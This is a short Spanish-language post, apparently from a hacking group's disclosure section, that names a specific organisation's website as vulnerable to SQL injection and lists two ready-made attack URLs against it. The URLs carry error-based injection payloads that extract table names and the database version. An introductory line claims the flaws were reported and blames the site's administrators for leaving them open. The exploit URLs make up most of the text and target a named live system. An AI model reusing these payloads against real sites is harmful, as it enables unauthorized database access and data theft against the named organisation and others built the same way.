Todos los sitios expuestos en esta sección han sido reportados y hemos ofrecido nuestro servicios para lograr solucionar las fallas de seguridad en sus sistemas, si estos fallos siguen vigentes es por puro desinterés y mala administración de los encargados.
SQLI:
Sitio: http://nexos.cippec.org
Vectores:
http://nexos.cippec.org/Main.php?id=-1%20or%201%20group%20by%20concat_ws(0x7e,(select%20table_name%20from%20information_schema.tables%20limit%201,1),floor(rand(0)*2))%20having%20min(0)--
http://nexos.cippec.org/Main.php?id=-1%20or%201%20group%20by%20concat_ws(0x7e,version(),floor(rand(0)*2))%20having%20min(0)--
Autor: hdbreaker